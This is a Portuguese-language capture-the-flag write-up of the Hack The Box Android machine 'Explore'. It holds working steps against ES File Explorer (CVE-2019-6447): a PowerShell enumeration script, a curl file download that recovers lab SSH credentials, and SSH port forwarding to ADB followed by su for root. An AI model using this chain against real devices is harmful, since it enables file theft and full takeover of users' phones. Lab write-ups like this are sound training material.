5 minuto(s) de leitura Read also in :us: Compartilhar

Olá pessoal!

A máquina desta semana será Explore, uma máquina Android classificada como fácil do Hack The Box, criada por bertolis.

:information_source: Info: Write-ups para máquinas do Hack The Box são postados assim que as máquinas são aposentadas.

HTB Explore

Esta foi minha primeira máquina Android do HTB e, mesmo nao tendo acesso ao ADB diretamente, consegui acesso via SSH a partir de informação obtida via um aplicativo vulnerável.

Espero que gostem!

Enumeração

Como de costume, iniciado com a enumeração rápida via nmap para buscar as portas publicadas nesta máquina:

$ nmap -sC -sV -Pn -oA quick 10.10.10.247
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-16 14:26 -03
Nmap scan report for 10.10.10.247
Host is up (0.072s latency).
Not shown: 998 closed ports
PORT     STATE    SERVICE VERSION
2222/tcp open     ssh     (protocol 2.0)
| fingerprint-strings:
|   NULL:
|_    SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey:
|_  2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
5555/tcp filtered freeciv
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port2222-TCP:V=7.91%I=7%D=8/16%Time=611A9FDB%P=x86_64-pc-linux-gnu%r(NU
SF:LL,24,"SSH-2\.0-SSH\x20Server\x20-\x20Banana\x20Studio\r\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.05 seconds

5555/TCP - freeciv

Como esta é minha primeira máquina android, comecei por pesquisar sobre este serviço freeciv encontrado. Interessantemente encontrei um write-up para uma máquina do VulnHub que menciona que esta porta é utilizada pelo ADB (Android Debug Bridge) mas, diferentemente desta, na máquina Explore ela se encontra filtrada(filtered). Vamos manter esta informação por enquanto até que encontremos um jeito de buscar um shell interativo neste dispositivo.

Para buscar por alguma informação faltante, executei um novo scan no nmap, desta vez para buscar todas as portas TCP, onde encontrei algumas portas adicionais abertas:

$ nmap -p- -Pn -oA allPorts 10.10.10.247
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Sarting Nmap 7.91 ( https://nmap.org ) at 2021-08-16 14:44 -03
Nmap scan report for 10.10.10.247
Host is up (0.070s latency).
Not shown: 65530 closed ports
PORT      STATE    SERVICE
2222/tcp  open     EtherNetIP-1
5555/tcp  filtered freeciv
37425/tcp open     unknown
42135/tcp open     unknown
59777/tcp open     unknown

Nmap done: 1 IP address (1 host up) scanned in 41.93 seconds
$ nmap -p37425,42135,59777 -sV -Pn -oA Full 10.10.10.247
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-16 14:47 -03
Nmap scan report for 10.10.10.247
Host is up (0.071s latency).

PORT      STATE SERVICE VERSION
37425/tcp open  unknown
42135/tcp open  http    ES File Explorer Name Response httpd
59777/tcp open  http    Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port37425-TCP:V=7.91%I=7%D=8/16%Time=611AA4D5%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,AA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Mon,\x20
SF:16\x20Aug\x202021\x2017:48:06\x20GMT\r\nContent-Length:\x2022\r\nConten
SF:t-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\
SF:r\nInvalid\x20request\x20line:\x20")%r(GetRequest,5C,"HTTP/1\.1\x20412\
SF:x20Precondition\x20Failed\r\nDate:\x20Mon,\x2016\x20Aug\x202021\x2017:4
SF:8:06\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,B5,"HTTP/1\
SF:.0\x20501\x20Not\x20Implemented\r\nDate:\x20Mon,\x2016\x20Aug\x202021\x
SF:2017:48:11\x20GMT\r\nContent-Length:\x2029\r\nContent-Type:\x20text/pla
SF:in;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r\nMethod\x20not\x2
SF:0supported:\x20OPTIONS")%r(RTSPRequest,BB,"HTTP/1\.0\x20400\x20Bad\x20R
SF:equest\r\nDate:\x20Mon,\x2016\x20Aug\x202021\x2017:48:11\x20GMT\r\nCont
SF:ent-Length:\x2039\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\r
SF:\nConnection:\x20Close\r\n\r\nNot\x20a\x20valid\x20protocol\x20version:
SF:\x20\x20RTSP/1\.0")%r(Help,AE,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDa
SF:te:\x20Mon,\x2016\x20Aug\x202021\x2017:48:26\x20GMT\r\nContent-Length:\
SF:x2026\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection
SF::\x20Close\r\n\r\nInvalid\x20request\x20line:\x20HELP")%r(SSLSessionReq
SF:,DD,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Mon,\x2016\x20Aug\x
SF:202021\x2017:48:26\x20GMT\r\nContent-Length:\x2073\r\nContent-Type:\x20
SF:text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r\nInvalid\
SF:x20request\x20line:\x20\x16\x03\0\0S\x01\0\0O\x03\0\?G\?\?\?,\?\?\?`~\?
SF:\0\?\?{\?\?\?\?w\?\?\?\?<=\?o\?\x10n\0\0\(\0\x16\0\x13\0")%r(TerminalSe
SF:rverCookie,CA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Mon,\x201
SF:6\x20Aug\x202021\x2017:48:26\x20GMT\r\nContent-Length:\x2054\r\nContent
SF:-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r
SF:\nInvalid\x20request\x20line:\x20\x03\0\0\*%\?\0\0\0\0\0Cookie:\x20msts
SF:hash=nmap")%r(TLSSessionReq,DB,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nD
SF:ate:\x20Mon,\x2016\x20Aug\x202021\x2017:48:26\x20GMT\r\nContent-Length:
SF:\x2071\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnectio
SF:n:\x20Close\r\n\r\nInvalid\x20request\x20line:\x20\x16\x03\0\0i\x01\0\0
SF:e\x03\x03U\x1c\?\?random1random2random3random4\0\0\x0c\0/\0");
Service Info: Device: phone

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.01 seconds

42135/TCP - ES File Explorer Name Response httpd

Buscando por este serviço no searchsploit encontrei um resultado para a plataforma Android.

$ searchsploit ES File Explorer
---------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                        |  Path
---------------------------------------------------------------------- ---------------------------------
ES File Explorer 4.1.9.7.4 - Arbitrary File Read                      | android/remote/50070.py
iOS iFileExplorer Free - Directory Traversal                          | ios/remote/16278.py
MetaProducts Offline Explorer 1.x - FileSystem Disclosure             | windows/remote/20488.txt
Microsoft Internet Explorer / MSN - ICC Profiles Crash (PoC)          | windows/dos/1110.txt
Microsoft Internet Explorer 4.x/5 / Outlook 2000 0/98 0/Express 4.x - | windows/remote/19603.txt
Microsoft Internet Explorer 4/5 - DHTML Edit ActiveX Control File Ste | windows/remote/19094.txt
Microsoft Internet Explorer 5 - ActiveX Object For Constructing Type  | windows/remote/19468.txt
Microsoft Internet Explorer 5 / Firefox 0.8 / OmniWeb 4.x - URI Proto | windows/remote/24116.txt
Microsoft Internet Explorer 5/6 - 'file://' Request Zone Bypass       | windows/remote/22575.txt
Microsoft Internet Explorer 6 - '%USERPROFILE%' File Execution        | windows/remote/22734.html
Microsoft Internet Explorer 6 - Local File Access                     | windows/remote/29619.html
Microsoft Internet Explorer 7 - Arbitrary File Rewrite (MS07-027)     | windows/remote/3892.html
My File Explorer 1.3.1 iOS - Multiple Web Vulnerabilities             | ios/webapps/28975.txt
WebFileExplorer 3.6 - 'user' / 'pass' SQL Injection                   | php/webapps/35851.txt
---------------------------------------------------------------------- ---------------------------------

Acesso inicial e User flag

Verificando este exploit, notei que está relacionado ao CVE-2019-6447, discutido neste post Analysis of ES File Explorer Security Vulnerability (CVE-2019–6447) | by Knownsec 404 team | Medium.

Esta vulnerabilidade consiste em uma falha que permite a execução de alguns comandos (implementados pelo app) de forma não autenticada, sem a necessidade de quaisquer tipos de autorização. Já que é bem simples, criei um script Powershell para enumerar as informações disponíveis:

#!/usr/bin/pwsh

$methods = @('listFiles','listPics','listVideos','listAudios','listAppsAll','getDeviceInfo')

foreach($method in $methods){
    Write-host ">>> Method: $method" -foregroundcolor green
    Invoke-RestMethod -method POST -header @{"Content-Type" = "application/json"} -body "{'command':'$method'}" -uri http://10.10.10.247:59777 | fl *
}

Do resultado obtido da execução do bloco anterior, o mais interessante foi uma imagem chamada creds.jpg

>>> Method: listPics

name     : concept.jpg
time     : 4/21/21 02:38:08 AM
location : /storage/emulated/0/DCIM/concept.jpg
size     : 135.33 KB (138,573 Bytes)

name     : anc.png
time     : 4/21/21 02:37:50 AM
location : /storage/emulated/0/DCIM/anc.png
size     : 6.24 KB (6,392 Bytes)

name     : creds.jpg
time     : 4/21/21 02:38:18 AM
location : /storage/emulated/0/DCIM/creds.jpg
size     : 1.14 MB (1,200,401 Bytes)

name     : 224_anc.png
time     : 4/21/21 02:37:21 AM
location : /storage/emulated/0/DCIM/224_anc.png
size     : 124.88 KB (127,876 Bytes)

Para baixar o arquivo, utilizei o comando abaixo, também permitido pela vulnerabilidade do app encontrado:

curl --header "Content-Type: application/json" http://10.10.10.247:59777/storage/emulated/0/DCIM/creds.jpg -o creds.jpg

Abrindo a imagem em um visualizador, notei que existiam algumas credenciais na mesma: kristi:Kr1sT!5h@Rp3xPl0r3!

HTB Explore - creds.jpg

Estas credenciais permitiram que me conectasse via SSH na porta 2222/TCP, conforme previamente enumerado. Encontrei a flag de usuário ao acessar o arquivo /sdcard/user.txt:

$ ssh kristi@10.10.10.247 -p 2222
Password authentication
Password:
:/ $ cd /sdcard/
:/sdcard $ cat user.txt
<redacted>

Root flag

Agora que temos acesso via SSH nesta máquina, podemos obter acesso root utilizando o ADB shell a partir do redirecionamento da porta do serviço utilizando o SSH, onde redirecionei a porta 5555/TCP da máquina para um listener local, vide comando abaixo a ser executado na máquina do atacante:

$ ssh kristi@10.10.10.247 -p 2222 -L 5555:127.0.0.1:5555
Password authentication
Password:
:/ $

Após conexão, apenas precisei me conectar utilizando o adb apontando o endereço para a porta local, que está sendo tunelado pela conexão SSH, onde, para obter privilégios de root, apenas precisei executar o comando su para obter acesso como root.

$ adb connect 127.0.0.1:5555
connected to 127.0.0.1:5555
$ adb shell
x86_64:/ $ su
:/ # find / -type f 2> /dev/null | grep root.txt
/data/root.txt
:/ # cat /data/root.txt
<redacted>

Espero que tenham gostado!

Vejo vocês no próximo post :smiley: